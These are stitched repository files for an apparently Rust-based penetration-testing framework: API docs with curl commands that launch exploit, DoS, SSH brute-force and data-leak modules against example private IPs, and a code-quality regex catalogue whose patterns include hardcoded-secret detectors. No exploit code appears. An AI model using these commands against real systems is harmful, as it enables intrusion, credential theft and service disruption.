## List Available Modules
```bash
curl -H "Authorization: Bearer my-secret-key" \
http://localhost:8080/api/modules
```
**Response (truncated):**
```json
{
"modules": [
"exploits/heartbleed",
"exploits/mongo/mongobleed",
"scanners/port_scanner",
"scanners/dir_brute",
"creds/generic/ssh_bruteforce"
],
"count": 363,
"request_id": "abc123",
"timestamp": "2026-03-17T14:01:00Z",
"duration_ms": 2
}
```
---
## Get Module Details
```bash
curl -H "Authorization: Bearer my-secret-key" \
http://localhost:8080/api/module/exploits/sample_exploit
```
---
## Run a Port Scan
```bash
curl -X POST \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
```
---
## Run an Exploit
All exploit modules support full API mode via the `prompts` field. When running
via the API, every interactive prompt can be pre-filled so modules never block
waiting on stdin.
```bash
curl -X POST \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"module": "exploits/heartbleed", "target": "10.10.10.10"}' \
http://localhost:8080/api/run
```
### Exploit with Prompts
```bash
# TP-Link Archer RCE — supply credentials and command via API
curl -X POST \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{
"module": "exploits/routers/tplink/tplink_archer_rce_cve_2024_53375",
"target": "192.168.1.1",
"prompts": {
"username": "admin",
"password": "admin123",
"command": "id"
}
}' \
http://localhost:8080/api/run
```
```bash
# Zabbix SQL Injection — pre-select payload mode and credentials
curl -X POST \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{
"module": "exploits/webapps/zabbix/zabbix_7_0_0_sql_injection",
"target": "10.10.10.10",
"prompts": {
"username": "Admin",
"password": "zabbix",
"mode": "3"
}
}' \
http://localhost:8080/api/run
```
```bash
# HTTP/2 Rapid Reset DoS test
curl -X POST \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{
"module": "exploits/frameworks/http2/cve_2023_44487_http2_rapid_reset",
"target": "10.10.10.10",
"prompts": {
"port": "443",
"use_ssl": "y",
"num_streams": "500",
"delay_ms": "1",
"run_baseline": "y",
"confirm_permission": "y"
}
}' \
http://localhost:8080/api/run
```
---
## Run a Credential Module
```bash
curl -X POST \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{
"module": "creds/generic/ssh_bruteforce",
"target": "10.10.10.10",
"prompts": {
"port": "22",
"username_wordlist": "/opt/wordlists/users.txt",
"password_wordlist": "/opt/wordlists/passwords.txt",
"concurrency": "100",
"stop_on_success": "y",
"save_results": "y",
"output_file": "ssh_results.txt"
}
}' \
http://localhost:8080/api/run
```
---
## Run MongoBleed (CVE-2025-14847)
```bash
curl -X POST \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{
"module": "exploits/mongo/mongobleed",
"target": "10.10.10.10:27017",
"prompts": {
"mode": "2",
"port": "27017",
"output_file": "leaked_data.bin"
}
}' \
http://localhost:8080/api/run
```
---
## Global Options
```bash
# Set global options
curl -X POST http://localhost:8080/api/options \
-H "Authorization: Bearer YOUR_KEY" \
-H "Content-Type: application/json" \
-d '{"port": "8080", "concurrency": "50"}'
# List global options
curl http://localhost:8080/api/options \
-H "Authorization: Bearer YOUR_KEY"
```
---
## Credential Store
```bash
# Add a credential
curl -X POST http://localhost:8080/api/creds \
-H "Authorization: Bearer YOUR_KEY" \
-H "Content-Type: application/json" \
-d '{"host": "192.168.1.1", "port": 22, "service": "ssh", "username": "admin", "secret": "password123", "cred_type": "password"}'
# List all credentials
curl http://localhost:8080/api/creds \
-H "Authorization: Bearer YOUR_KEY"
# Delete a credential
curl -X DELETE http://localhost:8080/api/creds \
-H "Authorization: Bearer YOUR_KEY" \
-H "Content-Type: application/json" \
-d '{"id": "abc12345"}'
```
---
## Workspace & Host Tracking
```bash
# Add a host
curl -X POST http://localhost:8080/api/hosts \
-H "Authorization: Bearer YOUR_KEY" \
-H "Content-Type: application/json" \
-d '{"ip": "192.168.1.1", "hostname": "router.local", "os_guess": "Linux"}'
# List hosts
curl http://localhost:8080/api/hosts -H "Authorization: Bearer YOUR_KEY"
# Add a service
curl -X POST http://localhost:8080/api/services \
-H "Authorization: Bearer YOUR_KEY" \
-H "Content-Type: application/json" \
-d '{"host": "192.168.1.1", "port": 22, "protocol": "tcp", "service_name": "ssh", "version": "OpenSSH 8.9"}'
# List services
curl http://localhost:8080/api/services -H "Authorization: Bearer YOUR_KEY"
# Switch workspace
curl -X POST http://localhost:8080/api/workspace \
-H "Authorization: Bearer YOUR_KEY" \
-H "Content-Type: application/json" \
-d '{"name": "engagement_2"}'
```
---
## Loot Management
```bash
# Store loot
curl -X POST http://localhost:8080/api/loot \
-H "Authorization: Bearer YOUR_KEY" \
-H "Content-Type: application/json" \
-d '{"host": "192.168.1.1", "loot_type": "config", "description": "Router config dump", "data": "hostname router1\ninterface eth0..."}'
# List loot
curl http://localhost:8080/api/loot -H "Authorization: Bearer YOUR_KEY"
```
---
## Background Jobs
```bash
# List running jobs
curl http://localhost:8080/api/jobs -H "Authorization: Bearer YOUR_KEY"
# Kill a job
curl -X DELETE http://localhost:8080/api/jobs/1 -H "Authorization: Bearer YOUR_KEY"
```
---
## Export Engagement Data
```bash
# Export all data as JSON
curl http://localhost:8080/api/export?format=json -H "Authorization: Bearer YOUR_KEY"
```
---
## Shell Command Endpoint (Full Shell Parity)
The `/api/shell` endpoint supports **every interactive shell command**. Use the
`commands` array to chain multiple commands in a single request.
### Basic Shell Commands
```bash
# List all modules via shell endpoint
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"command": "modules"}'
# Search for SSH modules
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"command": "find ssh"}'
# Get module info
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"command": "info exploits/heartbleed"}'
```
### Chained Workflow (Select, Target, Run)
```bash
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{
"commands": [
"use scanners/port_scanner",
"set target 192.168.1.1",
"run"
]
}'
```
### Vulnerability Check
```bash
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{
"commands": [
"use exploits/heartbleed",
"set target 10.10.10.10",
"check"
]
}'
```
### Global Options via Shell
```bash
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{
"commands": [
"setg port 8080",
"setg concurrency 50",
"show_options"
]
}'
```
### Data Management via Shell
```bash
# Add credentials (inline — no interactive prompts in API mode)
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"command": "creds add 192.168.1.1 22 ssh admin password123 password"}'
# Search credentials
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"command": "creds search ssh"}'
# Add host and service
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{
"commands": [
"hosts add 192.168.1.1",
"services add 192.168.1.1 22 tcp ssh OpenSSH_8.9",
"notes 192.168.1.1 Possible default credentials"
]
}'
# Workspace management
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"command": "workspace pentest_2026"}'
# Loot management
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"command": "loot add 192.168.1.1 config router-config hostname_router1"}'
# Export data
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"command": "export json engagement_report.json"}'
```
### Background Jobs via Shell
```bash
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{
"commands": [
"jobs",
"jobs clean"
]
}'
```
---
## Full Workflow Cheatsheet
```bash
# 1. Start server
cargo run -- --api
# 2. Health check
curl http://localhost:8080/health
# 3. List modules
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
# 4. Port scan
curl -X POST -H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
# 5. Check status
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
# 6. View IPs
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
```
+2
View File
@@ -0,0 +1,2 @@
# About Me
+417
View File
@@ -0,0 +1,417 @@
# Bad-Pattern Catalogue
> Run `scripts/audit-bad-patterns.sh` to scan the whole tree, or
> `scripts/audit-bad-patterns.sh --strict --files <list>` to gate a
> module / PR. Latest snapshot: [`audit-report.md`](audit-report.md).
A complete checklist of patterns that must not appear in module code. Every
entry has:
- **Pattern (regex)** — what `grep -E` finds
- **Why it's bad** — what concretely goes wrong if it slips in
- **Fix** — the explicit alternative
The full reproducer at the bottom runs every regex in one shot and reports a
zero-line summary on a clean tree. CI / pre-merge review should treat any
non-zero count as a hard failure.
> **Scope.** Module code under `src/modules/exploits/`, `src/modules/scanners/`,
> `src/modules/creds/`, `src/modules/osint/`, `src/modules/plugins/`. The
> framework's own DoS / payload-generation crates have legitimate `unsafe`
> blocks and raw socket calls that this catalogue does not constrain.
---
## A. Panicking error handling — banned outright
| # | Pattern (regex) | Why bad | Fix |
|---|---|---|---|
| A1 | `\.unwrap\(\)` | Panics on `Err`/`None`, takes the whole shell down. | Match explicitly or use `?` with `anyhow::Context`. |
| A2 | `\.expect\(` | Same as `.unwrap()` plus a static message. | `with_context(\|\| format!("...{}...", info))`. |
| A3 | `\.unwrap_or_default\(\)` | Silently turns `Err` into `T::default()` — body becomes `""`, status becomes `0`. Lies about what happened on the wire. | Match arms returning `Err(anyhow!(...))` or propagate via `?` with `Context`. |
| A4 | `\.unwrap_or\b` | Even on `Option`, hides the None case behind a magic literal (`"?"`, `""`). Use a self-documenting fallback. | `match opt { Some(x) => x, None => "<documented missing case>" }`. |
| A5 | `\.unwrap_or_else\(` | Same shape as A4 with a closure. | Match arms with explicit None handling. |
| A6 | `\.parse\(\)\.unwrap`, `\.parse::<[^>]+>\(\)\.unwrap` | Parse failures panic. | `parse().with_context(\|\| format!("parse {} as {}", input, "u16"))?`. |
| A7 | `\.try_into\(\)\.unwrap` | TryFrom failures panic. | `try_into().with_context(\|\| ...)?`. |
| A8 | `\.first\(\)\.unwrap`, `\.last\(\)\.unwrap`, `\.next\(\)\.unwrap`, `\.iter\(\)…\.unwrap` | Iterator end-of-stream panics. | `match it.next() { Some(x) => x, None => return Err(anyhow!("...")) }`. |
| A9 | `\.chars\(\)\.next\(\)\.unwrap`, `\.split\([^)]*\)\.next\(\)\.unwrap` | Empty-string panics. | Same as A8. |
| A10 | `\.position\(.*\)\.unwrap`, `\.iter\(\)\.find\(.*\)\.unwrap` | Search-miss panics. | Match on `Option`. |
| A11 | `\.read_to_string\(.*\)\.unwrap` | I/O failure panics. | `with_context(\|\| format!("read {}", path))?`. |
| A12 | `\.lock\(\)\.unwrap` | Poison panics. | Use `tokio::sync::Mutex` (no poison) or match on the `PoisonError` and either reset or surface. |
| A13 | `\.expect_err`, `\.unwrap_err` | Same panic shape, on the Err side. | Match the `Result` directly. |
| A14 | `panic!\(`, `unreachable!\(`, `todo!\(`, `unimplemented!\(` | Unconditional crash. | Return `Result::Err` with a descriptive message. |
| A15 | `\bassert!\(`, `\bassert_eq!\(`, `\bassert_ne!\(` | Production panic on bad input. | Validate at the boundary and return `Err`. Reserve assertions for tests under `#[cfg(test)]`. |
## B. Silent error swallowing — banned outright
| # | Pattern | Why bad | Fix |
|---|---|---|---|
| B1 | `Err\(_\)` (anonymous) | Drops the error value. Even on `tokio::time::error::Elapsed`, the `Display` impl ("deadline has elapsed") tells the operator *why* the call failed. | `Err(e) => mprintln!("{} timed out: {}", "[-]".red(), e)`. |
| B2 | `Err\(_[a-zA-Z]\w*\)` (underscore-prefixed binding) | Same as B1 — the leading `_` is a "compiler shut up about unused" hack. | Bind without the underscore and `format!` it. |
| B3 | `if let Err\(_` | Same as B1. | Capture the error. |
| B4 | `if let Ok\(` (no `else`) | Drops `Err` silently — the module reports success even though the host was unreachable. | `match …` with explicit `Err(e) => return Err(anyhow!("{:#}", e))`. |
| B5 | `let\s+_\s*=` | Discards a `Result`. The function "succeeded" because nothing checked. | `if let Err(e) = … { mprintln!(…) }` or `?`. |
| B6 | `let\s+_[a-zA-Z]\w*\s*=.*\.await` | The `_<name>` prefix suppresses unused warnings on a side-effect call. The result is propagated via `?`, so the binding adds nothing. | Bare `func(...).await?;` (no `let`). |
| B7 | `\.map_err\(\|_\|`, `\.or_else\(\|_\|` | Throws away the original error type. | Capture the error and wrap it: `.map_err(\|e\| anyhow!("...: {}", e))`. |
| B8 | `\.to_str\(\)\.ok\(\)` | Header-value utf8 failure becomes `None` and then `""` via `.unwrap_or("")` — the swallow is invisible. | `crate::utils::header_string(headers, "name")` (returns `"<non-utf8>"` sentinel for non-utf8 — the swallow shows up). |
| B9 | `\.json\([^)]*\)\.await\.ok\(\)`, `\.send\(\)\.await\.ok\(\)`, `\.text\(\)\.await\.ok\(\)` | Discards transport / decode errors. | `match …await { Ok(v) => …, Err(e) => mprintln!(…); return Ok(()); }` |
## C. Compiler-warning-suppression — banned outright
| # | Pattern | Why bad | Fix |
|---|---|---|---|
| C1 | `#\[allow\(` | Hides real lints (`dead_code`, `unused_imports`, `clippy::*`). If the code is dead, delete it; if a warning is wrong, fix the *cause*. | Remove the attribute and address the underlying warning. |
| C2 | `#\[deny\(` | Project-wide lint-policy belongs in `Cargo.toml` / `[lints]`, not per-module. | Move to crate root. |
| C3 | `#\[ignore\b` | Skipped tests rot. | Delete the test or fix it. |
## D. Panic vectors — banned in modules
| # | Pattern | Why bad | Fix |
|---|---|---|---|
| D1 | Direct array index `\b[a-zA-Z_]\w*\[[0-9]+\]` and `\b[a-zA-Z_]\w*\[[a-zA-Z_]\w*\]` | OOB panic. Even when the index "can't" be wrong, a future refactor can break the invariant. | `arr.get(i)` and match. For first byte: `slice.first()`. |
| D2 | Direct slice range `\&[a-zA-Z_]\w*\[\.\.\w+\]` / `\&[a-zA-Z_]\w*\[\w+\.\.\]` / `\&[a-zA-Z_]\w*\[\w+\.\.\w+\]` | OOB panic. `tokio::AsyncRead::read` contractually returns `n <= buf.len()`, but the panic is still in your binary. | `buf.get(..n).context(…)?`. |
| D3 | `\.split_at\(` | Panics if index > `len`. | `split_at_checked` (Rust 1.80+) or guard manually. |
| D4 | `\.chars\(\)\.nth\(` | Off-by-one panics. | Use the `Option` it returns. |
| D5 | `vec!\[…\]\[0\]` | Indexing a literal vec (rare, and almost always wrong). | Pattern-match. |
## E. Numeric conversions — explicit only
| # | Pattern | Why bad | Fix |
|---|---|---|---|
| E1 | `\bas\s+(u\|i)(8\|16\|32\|64)\b`, `\bas\s+(u\|i)size\b` | Truncates silently. `as u16` of an `i64=70000` becomes `4464`. | `u16::try_from(x).with_context(\|\| ...)?`. For widening (`u16 -> i64`) use `i64::from(x)` — conversion is explicit and infallible. |
| E2 | `\bas\s+(f32\|f64)\b` | Float conversion can round. | `f64::from(x)` for widenings; explicit rounding routine for narrowings. |
| E3 | `\bas\s+\*const\b`, `\bas\s+\*mut\b` | Pointer cast — UB if mis-typed. | Banned. Use `&` / `&mut` references or `Box::into_raw` paths inside `unsafe` only. |
| E4 | `\btransmute\(`, `\bextern\s+"C"`, `\bunsafe\s*\{`, `\bunsafe\s+fn\b` | Unsafe ops in modules are a layering violation; the framework concentrates `unsafe` in `src/native/`. | Refactor; if you really need it, put it under `src/native/` with the existing safety contract. |
## F. Async / blocking pitfalls — banned in modules
| # | Pattern | Why bad | Fix |
|---|---|---|---|
| F1 | `std::thread::sleep` | Blocks the executor thread. | `tokio::time::sleep`. |
| F2 | `std::process::Command` | Synchronous fork+exec. | `tokio::process::Command`. |
| F3 | `std::fs::File`, `std::fs::read`, `std::fs::write` | Blocks the executor. | `tokio::fs::*`. |
| F4 | `std::net::TcpStream`, `std::net::UdpSocket` | Blocking sockets. | `tokio::net::*`. |
| F5 | `std::io::stdin\(\)` | Blocks. Modules also shouldn't read stdin directly — use `cfg_prompt_*`. | `cfg_prompt_*` from `crate::utils`. |
| F6 | `\.lock\(\)` on `std::sync::Mutex` followed by `\.await` later in the scope | Deadlock risk; the lock is held across the await point. | `tokio::sync::Mutex` (lock guard releases at drop and the runtime can suspend safely). |
| F7 | `tokio::spawn\(` without holding the `JoinHandle` | Fire-and-forget leak; errors and panics are swallowed. | Hold the handle and `.await` it, or `.abort_handle()` when intentional. |
## G. Logging & output — modules use the framework macros
| # | Pattern | Why bad | Fix |
|---|---|---|---|
| G1 | `\beprintln!\(` (where the source is not `mprintln`/`meprintln`) | Bypasses the framework's spool (`docs/Interactive-Shell.md`). | `crate::meprintln!(...)` for stderr, `crate::mprintln!(...)` for stdout. |
| G2 | `\bdbg!\(` | Debugging macro left in. | Delete. |
| G3 | `format!\(.*"\{:\?\}".*\b[eE]rr\b` | Debug-format on errors loses the `Display` impl that gives a clean human message. | `format!("...: {}", err)` or `format!("...: {:#}", err)` for full chain. |
| G4 | `\.context\("")\|\.context\("\?"\)` | Empty / unhelpful context — adds nothing to the error chain. | `with_context(\|\| format!("…{}…", info))`. |
## G2. Network layer — go through the framework wrappers
| # | Pattern | Why bad | Fix |
|---|---|---|---|
| G2.1 | `TcpStream::connect\(`, `tokio::net::TcpStream::connect\(` | Bypasses source port binding (`setg source_port`). | `crate::utils::network::tcp_connect_str` or `tcp_connect_addr`. |
| G2.2 | `UdpSocket::bind\("0.0.0.0:0"\)`, `tokio::net::UdpSocket::bind\("0.0.0.0:0"\)` | Same — bypasses source port binding. | `crate::utils::udp_bind(Some(ip))`. |
| G2.3 | `AsyncFtpStream::connect\(` (without `connect_with_stream`) | suppaftp creates its own TCP connection, bypassing source port. | `tcp_connect_str``AsyncFtpStream::connect_with_stream(tcp)`. |
| G2.4 | `Telnet::connect\(` (without `from_stream`) | telnet crate creates its own TCP connection. | `blocking_tcp_connect``Telnet::from_stream(Box::new(tcp), buf)`. |
| G2.5 | `FtpStream::connect\(` (without `connect_with_stream`) | Blocking suppaftp bypasses source port. | `blocking_tcp_connect``FtpStream::connect_with_stream(tcp)`. |
## H. HTTP layer — go through the framework client
| # | Pattern | Why bad | Fix |
|---|---|---|---|
| H1 | `reqwest::Client::new\(\)`, `reqwest::Client::builder\(\)` | Bypasses `crate::utils::build_http_client`, which sets timeout, TLS policy, redirect rules, source-port awareness, and the global cookie-store decision. | `crate::utils::build_http_client(Duration::from_secs(N))`. |
| H2 | `\.send\(\)\.await\?` (no `Context`) | The error has no path / module attribution; debugging mass scans is hopeless. | `.send().await.with_context(\|\| format!("GET {} failed", url))?`. |
| H3 | `\.text\(\)\.await\?` (no `Context`) | Same. | `.text().await.context("read body")?` or use `crate::utils::http_get_status_body`. |
| H4 | `format!("{:?}", v).contains("HTTP/2")` (debug-string-compare on `reqwest::Version`) | Fragile, no compile-time check. | `v == reqwest::Version::HTTP_2`. |
## I. Iterator collect / Result glitches
| # | Pattern | Why bad | Fix |
|---|---|---|---|
| I1 | `\.collect::<Result<Vec<_>,\s*_>>\(\)\.unwrap` | Aggregated `Result` panics on first error. | `let xs = …collect::<Result<Vec<_>, _>>()?;`. |
| I2 | `\.zip\([^)]*\)\.unwrap` | Zip mismatch panic. | Length-check first. |
## J. Style / safety
| # | Pattern | Why bad | Fix |
|---|---|---|---|
| J1 | `s == ""`, `s\.len\(\) == 0`, `s\.len\(\) > 0` | Should use `is_empty()`. | `s.is_empty()` / `!s.is_empty()`. |
| J2 | `String::from\(format!` | Pointless wrapping. | `format!(...)` already returns `String`. |
| J3 | `\.clone\(\)\s*\.clone`, `\.to_string\(\)\s*\.to_string`, `\.to_owned\(\)\s*\.to_owned` | Double allocation. | Single call. |
| J4 | `XXXXXX`, `TODO`, `FIXME`, `HACK\b` | Placeholder URLs / unfinished work. | Replace with real value or remove. |
| J5 | `Bearer\s+[A-Za-z0-9_.-]{40,}`, `sk-[A-Za-z0-9]{20,}`, `AKIA[A-Z0-9]{16}`, hardcoded `"admin"\s*,\s*"admin"` and friends | Embedded secrets in source / placeholder pairs that look like secrets to scanners. | Prompt for values via `cfg_prompt_required` / read from env. |
| J6 | `Box<dyn` in module returns | Module trait-objects are unnecessary in this codebase; `anyhow::Error` is the framework's error type. | `anyhow::Result<T>` / `anyhow::Error`. |
## K0. Mass-scan compatibility
| # | Pattern | Why bad | Fix |
|---|---|---|---|
| K0.1 | Hardcoded output filenames like `"results.txt"`, `"config.bin"` without target in name | Concurrent fan-out tasks clobber each other's files. | `format!("results_{}.txt", safe_target)` where `safe_target = target.replace(['/', ':', '.', '[', ']'], "_")`. |
| K0.2 | Interactive REPL loops without `is_batch_mode()` guard | REPL spins forever on cached prompts under mass scan, or N concurrent REPLs flood the terminal. | `if crate::utils::is_batch_mode() { anyhow::bail!("REPL not supported in mass-scan mode."); }` |
| K0.3 | `stdin().read_line()` or blocking stdin reads in module code | Blocks under mass scan; N concurrent tasks all wait on one stdin. | `cfg_prompt_*` from `crate::utils` (returns cached values in batch mode). |
| K0.4 | `let _ = timeout;` or `_timeout` to suppress unused timeout parameter | Probe ignores user-configured timeout — hardcoded duration used instead. | Use the timeout parameter: wrap operations with `tokio::time::timeout(timeout, ...)` or pass it to connect functions. |
## K. Resource handling
| # | Pattern | Why bad | Fix |
|---|---|---|---|
| K1 | `tokio::spawn(...)` not awaited / not held | Background task panic / error is invisible. | Hold the `JoinHandle` and `.await` it. |
| K2 | `Mutex::new`, `RwLock::new` (`std::sync::*`) inside async modules | Blocking primitives + `.await` = potential deadlock. | `tokio::sync::Mutex`, `tokio::sync::RwLock`. |
## L. Crypto antipatterns — modules
These flag *uses* of broken or risky primitives. Many appear legitimately
in the codebase as **protocol-required** auth flows (Postgres MD5 auth,
MySQL SHA1 challenge, VNC/RDP single-DES password handling) — those are
in the framework's `creds/` and `native/rdp.rs` and stay as-is. Module
authors should **not** add new uses of any of these unless the target
protocol forces it.
| # | Pattern | Why bad | Fix |
|---|---|---|---|
| L1 | `\bmd5::compute\b\|\bmd5::Md5\b` | MD5 is collision-broken. Acceptable only for protocol auth (Postgres, RDP NTLMv1). | SHA-256+ for new code. |
| L2 | `\bsha1::Sha1\b\|use sha1::` | SHA-1 broken. Acceptable only for MySQL native challenge. | SHA-256+. |
| L3 | `\bdes::Des\b`, `\b3des\b`, `TripleDES` | DES weak (56-bit). Acceptable only for VNC RFB / Cisco type-7 / TightVNC password handling. | AES-256-GCM for new code. |
| L4 | `rand::thread_rng\(\)` and `rand::random\(\)` for security-relevant randomness | Not guaranteed to be a CSPRNG. | `rand::rngs::OsRng` (or `getrandom::getrandom`). For non-security RNG (transaction IDs, jitter) `thread_rng()` is fine. |
| L5 | `\bRC4\b\|rc4::` | RC4 broken. Acceptable only as scanner *targets* (e.g. `ssl_scanner` enumerating weak ciphers) and inside `crate::native::obfuscator_engine` (intentional shellcode-obfuscation method). | None for new code. |
| L6 | ECB mode (`Ecb`, `aes-128-ecb`) | Pattern-leakage. | CTR / GCM. |
## M. SQL & command injection
| # | Pattern | Why bad | Fix |
|---|---|---|---|
| M1 | `format!\("SELECT[^"]*\{\|format!\("INSERT[^"]*\{\|format!\("UPDATE[^"]*\{\|format!\("DELETE[^"]*\{` | Format-string SQL = injection. | Bind parameters via the database driver. For probes, hardcode the test payload as a constant string. |
| M2 | `std::process::Command::new\("/bin/sh"\)`, `std::process::Command::new\("sh"\)`, `\.arg\("-c"\).*format!` | Shell-out with formatted user input = command injection. | Use `Command::new(prog).args([...])` with each argument as a separate `arg()` — no shell. |
## N. Concurrency / UB
| # | Pattern | Why bad | Fix |
|---|---|---|---|
| N1 | `\bstatic\s+mut\b` | Mutable global = data race UB. | `Mutex<T>` / `RwLock<T>` / `Atomic*` / `OnceCell<T>` / `Lazy<T>`. |
| N2 | `std::mem::transmute`, `std::mem::forget`, `std::mem::uninitialized`, `std::mem::zeroed` (outside `crate::native/*`) | UB-prone. | Stay inside `crate::native/*` for FFI. Module code never needs these. |
| N3 | `std::ptr::read`, `std::ptr::write` | Raw pointer reads/writes outside `unsafe` ⇒ UB. | Use references; if FFI, contain in `crate::native/*`. |
| N4 | `Result<\(\), String>`, `Result<.*,\s*String>` | Stringly-typed errors lose type information. | `anyhow::Result<T>`. |
## O. Performance / idiom hygiene
| # | Pattern | Why bad | Fix |
|---|---|---|---|
| O1 | `\.iter\(\)\.count\(\)` | Walks whole iterator. | `.len()` if available. |
| O2 | `\.collect::<\(\)>\(\)` | Collects into nothing. | `.for_each(...)` or just `for ... in`. |
| O3 | `\.iter\(\)\.map\(\|x\|\s*x\.clone\(\)\)\s*\.collect` | `cloned().collect()` is shorter. | `.cloned().collect()`. |
| O4 | `\.to_string\(\)\.as_str\(\)` | Round-trip allocation. | Drop the `.to_string()`. |
| O5 | `Vec::with_capacity\(0\)`, `String::with_capacity\(0\)` | Pointless. | `Vec::new()` / `String::new()`. |
| O6 | `Regex::new\(.*\)\.unwrap` in a hot path | Re-compiles on every call. | `once_cell::sync::Lazy<Regex>` at module scope. |
| O7 | `Box::new\(.*Box::new` | Double allocation. | One `Box`. |
## P. Type / API hygiene
| # | Pattern | Why bad | Fix |
|---|---|---|---|
| P1 | `pub static\s+\w+\s*:` (mutable) | Mutable global API surface. | Confine to `Lazy<RwLock<T>>` patterns; expose accessor functions, not the static. |
| P2 | `#\[derive\(Debug\)\]` on a struct with a `password` / `secret` / `token` field | The `Debug` impl prints the secret; `format!("{:?}", obj)` leaks it to logs. | Custom `Debug` impl that redacts, or use `secrecy::Secret<T>`. |
| P3 | `\bpub\s+const\s+\w+\s*:\s*&str\s*=\s*"http` | Hardcoded production URLs in pub constants are hard to override. | Constructor / config. |
| P4 | TLS verification disabled in scanner clients (`accept_invalid_certs(true)`) | Acceptable for *security scanners* (target may be self-signed); banned in *clients* that talk to trusted services like the framework's own API. | The framework provides `HttpClientOpts::permissive` (scanner default) and `HttpClientOpts::strict` (when needed). Use the right one. |
## Q. Cargo.toml hygiene
| # | Pattern | Why bad | Fix |
|---|---|---|---|
| Q1 | `^\s*[a-z_-]+ = "\*"` | Wildcard version: build can break on a transitive update. | Pin a major: `"1"` or `"1.2"`. |
| Q2 | `^\s*[a-z_-]+\s*=\s*\{\s*git\s*=\s*"[^"]+"\s*\}` (no `rev`/`tag`/`branch`) | Git dep without rev = non-reproducible. | Add `rev = "..."`. |
| Q3 | `path\s*=\s*` deps in a publish-target crate | Can't publish. | Replace with versioned dep before release. |
---
## Live audit reproducer
Save the list of authored module files (this command is good for several
days; regenerate when modules are added):
```sh
cd /home/kali/Downloads/rustpre2-main
{
cat <<'EOF'
src/modules/exploits/network_infra/cisco/cisco_ise_api_inject_cve_2025_20281.rs
src/modules/exploits/network_infra/apache_modssl_bypass_cve_2025_23048.rs
src/modules/exploits/network_infra/arista_ngfw_disclose.rs
src/modules/exploits/network_infra/checkpoint_fileread_cve_2024_24919.rs
src/modules/exploits/network_infra/hpprocurve_disclose.rs
src/modules/exploits/network_infra/hpprocurve_snac_inject.rs
src/modules/exploits/network_infra/juniper_screenos_scanner.rs
src/modules/exploits/cameras/galayou_g2_rtsp_bypass_cve_2025_9983.rs
src/modules/exploits/cameras/xiongmai_xm530.rs
src/modules/exploits/dos/apachebrpc_overflow_cve_2025_59789.rs
src/modules/exploits/dos/http2_rapidreset_cve_2023_44487.rs
src/modules/exploits/dos/px4_uav_dos.rs
src/modules/exploits/voip/magnusbilling_ssrf_cve_2023_30258.rs
src/modules/exploits/voip/xorcompbx_rce.rs
EOF
ls src/modules/exploits/webapps/*.rs | grep -vE "/(api_attack_suite|craftcms_key_rce_cve_2025_23209|craftcms_rce_cve_2025_47726|langflow_rce_cve_2025_3248|laravel_livewire_rce_cve_2025_47949|misp_rce_cve_2025_27364|nextjs_middleware_bypass_cve_2025_29927|sap_netweaver_rce_cve_2025_31324|vite_path_traversal_cve_2025_30208|zimbra_sqli_auth_bypass_cve_2025_25064|mod)\.rs$"
} > /tmp/my_files.txt
```
Then run the matrix:
```sh
PATTERNS=(
# A. Panicking error handling
'\.unwrap\(\)' '\.expect\(' '\.unwrap_or_default\(\)' '\.unwrap_or\b' '\.unwrap_or_else\('
'\.parse\(\)\.unwrap' '\.parse::<[^>]+>\(\)\.unwrap'
'\.try_into\(\)\.unwrap'
'\.first\(\)\.unwrap' '\.last\(\)\.unwrap' '\.next\(\)\.unwrap' '\.iter\(\).*\.unwrap'
'\.chars\(\)\.next\(\)\.unwrap' '\.split\([^)]*\)\.next\(\)\.unwrap'
'\.position\(.*\)\.unwrap' '\.iter\(\)\.find\(.*\)\.unwrap'
'\.read_to_string\(.*\)\.unwrap' '\.lock\(\)\.unwrap'
'\.expect_err' '\.unwrap_err'
'panic!\(' 'unreachable!\(' 'todo!\(' 'unimplemented!\('
'\bassert!\(' '\bassert_eq!\(' '\bassert_ne!\('
# B. Silent error swallowing
'Err\(_\)' 'Err\(_[a-zA-Z]\w*\)' 'if let Err\(_'
'if let Ok\(' 'let\s+_\s*=' 'let\s+_[a-zA-Z]\w*\s*=.*\.await'
'\.map_err\(\|_\|' '\.or_else\(\|_\|'
